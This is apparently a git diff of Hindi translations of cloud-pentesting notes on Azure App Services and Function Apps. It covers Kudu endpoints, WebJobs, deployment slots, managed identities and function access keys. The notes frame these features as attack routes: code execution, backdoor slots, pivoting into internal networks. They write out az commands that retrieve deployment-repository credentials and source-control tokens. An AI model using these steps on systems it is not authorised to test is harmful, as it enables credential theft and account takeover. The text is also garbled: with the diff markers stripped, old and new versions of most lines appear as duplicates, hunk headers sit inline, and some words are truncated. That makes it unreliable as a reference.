- **वेब ऐप + डेटाबेस**: वेब कंसोल एक डेटाबेस के साथ एक ऐप बनाने की अनुमति देता है। इस मामले में, यह उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Azure Cache for Redis बनाने की भी अनुमति देता है।
- डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा।
- **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके App Service पर एक कंटेनर तैनात करना संभव है
- **कंटेनर**: ऐप सेवा में कंटेनर को तैनात करना संभव है, कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके।
- **माउंट्स**: स्टोरेज खातों से 5 माउंट बनाना संभव है, ये Azure Blob (पढ़ने के लिए केवल) या Azure Files हो सकते हैं। कॉन्फ़िगरेशन स्टोरेज खाते के माध्यम से एक्सेस कुंजी को संग्रहीत करेगा।
- **नेटवर्किंग**: यह सार्वजनिक रूप से उपलब्ध हो सकता है या केवल एक VNet से निजी एंडपॉइंट्स द्वारा सुलभ हो सकता है।
## Basic Authentication
जब एक वेब ऐप (और एक Azure फ़ंक्शन आमतौर पर) बनाया जाता है, तो यह संकेत देना संभव है कि आप **बुनियादी प्रमाणीकरण सक्षम करना चाहते हैं** (डिफ़ॉल्ट रूप से अक्षम)। यह मूल रूप से **SCM (स्रोत नियंत्रण प्रबंधक) और FTP (फाइल ट्रांसफर प्रोटोकॉल)** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।
जब एक वेब ऐप (और एक Azure फ़ंक्शन आमतौर पर) बनाया जाता है, तो यह संकेत देना संभव है कि आप **बुनियादी प्रमाणीकरण सक्षम करना चाहते हैं** (डिफ़ॉल्ट रूप से बंद)। यह मूल रूप से **SCM (स्रोत नियंत्रण प्रबंधक) और FTP (फाइल ट्रांसफर प्रोटोकॉल)** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।
SCM और FTP सर्वरों तक पहुँचने के लिए, एक **उपयोगकर्ता नाम और पासवर्ड** की आवश्यकता होती है। इसलिए, Azure कुछ **APIs प्रदान करता है जो इन प्लेटफार्मों के लिए URLs** और क्रेडेंशियल्स प्राप्त करने के लिए हैं।
@@ -39,29 +40,29 @@ SCM
### Kudu
Kudu वह प्लेटफ़ॉर्म है जो **SCM और एक वेब और API इंटरफ़ेस दोनों का प्रबंधन करता है** ताकि एक App Service का प्रबंधन किया जा सके, और Git-आधारित तैनातियों, दूरस्थ डीबगिंग और फ़ाइल प्रबंधन क्षमताओं को प्रदान करता है। यह वेब ऐप में परिभाषित SCM URL के माध्यम से सुलभ है।
Kudu वह प्लेटफ़ॉर्म है जो **SCM और एक वेब और API इंटरफ़ेस दोनों का प्रबंधन करता है** ताकि एक ऐप सेवा का प्रबंधन किया जा सके, और Git-आधारित तैनातियों, दूरस्थ डीबगिंग, और फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप में परिभाषित SCM URL के माध्यम से सुलभ है।
ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण भिन्न हैं, Function ऐप्स का संस्करण बहुत अधिक सीमित है।
ध्यान दें कि ऐप सेवाओं और फ़ंक्शन ऐप्स द्वारा उपयोग किए जाने वाले Kudu संस्करण भिन्न होते हैं, फ़ंक्शन ऐप्स का संस्करण बहुत अधिक सीमित होता है।
Kudu में आप कुछ दिलचस्प एंडपॉइंट पा सकते हैं:
Kudu में आप कुछ दिलचस्प एंडपॉइंट्स पा सकते हैं:
- `/BasicAuth`: आपको Kudu के अंदर **लॉगिन करने के लिए इस पथ तक पहुँचने** की आवश्यकता है।
- `/DebugConsole`: एक कंसोल जो आपको Kudu चलने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है।
- `/DebugConsole`: एक कंसोल जो आपको Kudu चलने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है।
- ध्यान दें कि इस वातावरण में **मेटाडेटा सेवा तक पहुँच नहीं है** ताकि टोकन प्राप्त किए जा सकें।
- `/webssh/host`: एक वेब-आधारित SSH क्लाइंट जो आपको उस कंटेनर के अंदर कनेक्ट करने की अनुमति देता है जहां ऐप चल रहा है।
- इस वातावरण में **मेटाडेटा सेवा तक पहुँच है** ताकि असाइन किए गए प्रबंधित पहचानों से टोकन प्राप्त किए जा सकें।
- `/Env`: सिस्टम, ऐप सेटिंग्स, env वेरिएबल, कनेक्शन स्ट्रिंग और HTTP हेडर के बारे में जानकारी प्राप्त करें।
- `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहा से सभी फ़ाइलें डाउनलोड कर सकते हैं।
- `/Env`: सिस्टम, ऐप सेटिंग्स, पर्यावरण चर, कनेक्शन स्ट्रिंग और HTTP हेडर के बारे में जानकारी प्राप्त करें।
- `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहा से सभी फ़ाइलें डाउनलोड कर सकते हैं।
इसके अलावा, Kudu पहले [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) पर ओपन-सोर्स था लेकिन प्रोजेक्ट को डिप्रिकेट कर दिया गया और Azure में वर्तमान Kudu के व्यवहार की तुलना करते समय यह देखना संभव है कि **कई चीजें पहले से ही बदल चुकी हैं**
इसके अलावा, Kudu पहले [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) पर ओपन-सोर्स था लेकिन प्रोजेक्ट को बंद कर दिया गया और Azure में वर्तमान Kudu के व्यवहार की तुलना पुराने से करने पर यह देखा जा सकता है कि **कई चीजें पहले ही बदल चुकी हैं**
## Sources
App Services डिफ़ॉल्ट रूप से कोड को ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देत हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देत है।
ऐप सेवाएँ डिफ़ॉल्ट रूप से कोड को ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देत हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देत है।
- वर्तमान में समर्थित तृतीय पक्ष स्रोत **Github** और **Bitbucket** हैं।
- आप `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` चलाकर प्रमाणीकरण टोकन प्राप्त कर सकते हैं।
- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर App Service पर कोड तैनात करने के लिए एक **Github Action** सेटअप करेगा।
- यह वहा से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) को इंगित करना भी संभव है।
- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर ऐप सेवा में कोड तैनात करने के लिए एक **Github Action** सेट करेगा।
- यह वहा से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) को इंगित करना भी संभव है।
- आप `az webapp deployment source show --name <app-name> --resource-group <res-group>` या `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` चलाकर दूरस्थ रिपॉजिटरी के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं।
- एक **Azure Repository** का उपयोग करना भी संभव है।
- एक **स्थानीय git रिपॉजिटरी** को कॉन्फ़िगर करना भी संभव है।
@@ -70,26 +71,26 @@ App Services डिफ़ॉल्ट रूप से कोड को ज़
## Webjobs
Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रसंस्करण, डेटा हैंडलिंग या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है।
वेब जॉब के 2 प्रकार हैं:
- **निरंतर**: यह अनंत काल तक एक लूप में चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रसंस्करण की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू अक्षम है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
- **ट्रिगर किया गया**: यह मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्याओं के लिए सबसे उपयुक्त है।
Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रसंस्करण, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है।
वेब जॉब के 2 प्रकार होते हैं:
- **निरंतर**: एक लूप में अनिश्चितकाल तक चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रसंस्करण की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू बंद है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
- **ट्रिगर किया गया**: मांग पर या एक अनुसूची के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है।
Webjobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचानों** के लिए विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
वेबजॉब्स हमलावरों के दृष्टिकोण से बहुत दिलचस्प होते हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचानों के लिए विशेषाधिकार बढ़ाने** के लिए किया जा सकता है।
इसके अलावा, Webjobs द्वारा उत्पन्न **लॉग** की जांच करना हमेशा दिलचस्प होता है क्योंकि वे **संवेदनशील जानकारी** रख सकत हैं।
इसके अलावा, यह हमेशा दिलचस्प होता है कि वेबजॉब्स द्वारा उत्पन्न **लॉग्स** की जांच करें क्योंकि वे **संवेदनशील जानकारी** हो सकत हैं।
## Slots
Azure App Service Slots का उपयोग **एक ही App Service पर एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है।
Azure App Service Slots का उपयोग **एक ही ऐप सेवा में एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है।
इसके अलावा, एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का एक प्रतिशत** रूट करना संभव है, जो A/B परीक्षण और **बैकडोर उद्देश्यों** के लिए उपयोगी है
इसके अलावा, यह एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का एक प्रतिशत** रूट करना संभव है, जो A/B परीक्षण के लिए उपयोगी है, और **बैकडोर उद्देश्यों** के लिए।
## Azure Function Apps
बुनियादी रूप से **Azure Function ऐप्स Azure App Service का एक उपसमुच्चय हैं** वेब कंसोल में और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **वहा सूचीबद्ध फ़ंक्शन ऐप्स को भी देख पाएंगे**
बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय** हैं और यदि आप वेब कंसोल में जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **वहा सूचीबद्ध फ़ंक्शन ऐप्स को भी देख पाएंगे**
इसलिए, दोनों सेवाओं में वास्तव में ज्यादातर **एक समान कॉन्फ़िगरेशन, सुविधाएँ और विकल्प az cli में हैं**, हालाँकि वे उन्हें थोड़ा अलग तरीके से कॉन्फ़िगर कर सकते हैं (जैसे appsettings के डिफ़ॉल्ट मान या फ़ंक्शन ऐप्स में स्टोरेज खाते का उपयोग)।
इसलिए, दोनों सेवाओं में वास्तव में ज्यादातर **एक समान कॉन्फ़िगरेशन, सुविधाएँ और विकल्प होते हैं az cli में**, हालाँकि वे उन्हें थोड़ा अलग तरीके से कॉन्फ़िगर कर सकते हैं (जैसे appsettings के डिफ़ॉल्ट मान या फ़ंक्शन ऐप्स में स्टोरेज खाते का उपयोग)।
## Enumeration
@@ -176,6 +177,10 @@ az webapp conection list --name <name> --resource-group <res-group>
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
# Get configured SMC users by your account
az webapp deployment user show
## If any user is created, the username should appear in the "publishingUserName" field
```
{{#endtab }}
@@ -303,13 +308,13 @@ SCM पोर्टल में लॉगिन करने या FTP के
> [!TIP]
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से ट्रिगर करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
## विशेषाधिकार वृद्धि
## Privilege Escalation
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## संदर्भ
## References
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)

View File

@@ -4,7 +4,7 @@
## Basic Information
**Azure Function Apps** एक **serverless compute service** हैं जो आपको छोटे कोड के टुकड़े, जिन्हें **functions** कहा जाता है, को बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए चलाने की अनुमति देती हैं। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **event-driven applications**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
**Azure Function Apps** एक **serverless compute service** हैं जो आपको **functions** नामक छोटे कोड के टुकड़े चलाने की अनुमति देती हैं, बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **event-driven applications**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
> [!NOTE]
> ध्यान दें कि **Functions App Services का एक उपसमुच्चय हैं**, इसलिए, यहां चर्चा की गई कई सुविधाएँ Azure Apps (`webapp` in cli) के रूप में बनाए गए अनुप्रयोगों द्वारा भी उपयोग की जाएंगी।
@@ -12,7 +12,7 @@
### Different Plans
- **Flex Consumption Plan**: **dynamic, event-driven scaling** के साथ pay-as-you-go मूल्य निर्धारण प्रदान करता है, मांग के आधार पर function उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **virtual networking** और **pre-provisioned instances** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **variable workloads** के लिए उपयुक्त है जिन्हें कंटेनर समर्थन की आवश्यकता नहीं है।
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब compute resources के लिए भुगतान करते हैं जब functions चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **cold start optimizations** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है**intermittent workloads** के लिए आदर्श जो स्वचालित स्केलिंग की आवश्यकता होती है
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब भुगतान करते हैं जब functions चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **cold start optimizations** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता। स्वचालित स्केलिंग की आवश्यकता वाले **intermittent workloads** के लिए आदर्श।
- **Premium Plan**: **consistent performance** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **prewarmed workers** होते हैं। यह **extended execution times, virtual networking** प्रदान करता है, और **custom Linux images** का समर्थन करता है, जिससे यह **mission-critical applications** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **predictable billing** होता है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **compute isolation** प्रदान करता है, और App Service Environments के माध्यम से **secure network access** सुनिश्चित करता है, जिससे यह **long-running applications** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
- **Container Apps**: एक प्रबंधित वातावरण में **containerized function apps** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU processing** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **event-driven, scalable containerized applications** के लिए आदर्श।
@@ -36,21 +36,21 @@
HTTP ट्रिगर का उपयोग करते हुए:
- यह संभव है कि **इंटरनेट से एक फ़ंक्शन को सभी को पहुंच प्रदान करें** बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान करें। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक Function App को **पहुंच प्रदान करें या प्रतिबंधित करें**
- यह संभव है कि **इंटरनेट से एक फ़ंक्शन क पहुंच प्रदान करें** बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान करें। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है।
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक Function App को **पहुंच ें या प्रतिबंधित करें**
> [!CAUTION]
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर Function से आंतरिक नेटवर्क पर पिवट करना**।
### **Function App Settings & Environment Variables**
यह एक ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज अकाउंट की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज अकाउंट से कोड निष्पादित करने के लिए होती है
यह एक ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज अकाउंट की कुंजी** को पूर्ण अनुमतियों के साथ शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी होती है ताकि स्टोरेज अकाउंट से कोड निष्पादित किया जा सके
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि Function कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
### **Function Sandbox**
Linux सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि Python का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
Linux सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में **`function_app.py`** फ़ाइल में स्थित है (यदि Python का उपयोग किया गया है) और कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते हुए कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`
@@ -58,39 +58,41 @@ Linux सैंडबॉक्स के अंदर स्रोत कोड
जैसे कि [**VMs**](vms/index.html) में, Functions के पास **Managed Identities** के 2 प्रकार हो सकते हैं: System assigned और User assigned।
**system assigned** एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह सौंपा गया है, जबकि **user assigned** प्रबंधित पहचानें वे प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
**system assigned** एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे इसे सौंपा गया है, जबकि **user assigned** प्रबंधित पहचानें ऐसी प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**
> [!NOTE]
> जैसे कि [**VMs**](vms/index.html) में, Functions के पास **1 system assigned** प्रबंधित पहचान और **कई user assigned** हो सकते हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक Function से कई प्रबंधित पहचान को बढ़ा सकते हैं।
>
> यदि कोई system managed identity का उपयोग नहीं किया गया है लेकिन एक या अधिक user managed identities एक फ़ंक्शन से जुड़ी हुई हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
> यदि कोई system managed identity का उपयोग नहीं किया जाता है लेकिन एक या अधिक user managed identities एक फ़ंक्शन से जुड़ी होती हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे।
आप [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **मैन्युअल रूप से** प्राप्त कर सकते हैं जैसा कि समझाया गया है:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी Managed Identities की जांच कैसे करें** क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के साथ जुड़ी सभी Managed Identities की जांच कैसे करें** क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)।
## Access Keys
> [!NOTE]
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शन को सक्रिय करने के लिए पहुंच देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए एक **access key** का उपयोग करना आवश्यक हो सकता है।
> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शन को सक्रिय करने के लिए पहुंच देने के लिए RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए एक **access key** का उपयोग करना आवश्यक हो सकता है।
एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि **फ़ंक्शन को सक्रिय करने के लिए आवश्यक access key authorization level** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं:
- **ANONYMOUS**: **सभी** फ़ंक्शन को URL द्वारा एक्सेस कर सकते हैं।
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **function, host या master key** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **master key** है।
- **ANONYMOUS**: **सभी** फ़ंक्शन को URL के माध्यम से एक्सेस कर सकते हैं।
- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए उपलब्ध है जो **function, host या master key** का उपयोग कर रहे हैं।
- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए उपलब्ध है जिनके पास **master key** है।
**Type of keys:**
**कुंजी के प्रकार:**
- **Function Keys:** Function keys या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकते हैं और इन्हें विशेष रूप से **Function App के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुंच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक पहुंच मिलती है।
- **Host Keys:** Host keys, जो भी डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकते हैं, **Function App के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक FUNCTION access level** के साथ पहुंच प्रदान करते हैं।
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN access level सहित) तक पहुंच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **Host Keys:** Host keys, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकते हैं, **Function App के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक FUNCTION access level** के साथ पहुंच प्रदान करते हैं।
- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN access level शामिल) तक पहुंच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।**
- **System Keys:** System keys **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होते हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुंच के लिए आवश्यक होते हैं। उदाहरणों में Event Grid ट्रिगर और Durable Functions शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजी का उपयोग करते हैं।
> [!TIP]
> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुंचने का उदाहरण:
> एक कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुंचने का उदाहरण:
>
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
@@ -104,7 +106,7 @@ az-app-services.md
### Github Based Deployments
जब एक फ़ंक्शन एक Github repo से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github Workflow बनाने की अनुमति देता है** ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक Python फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
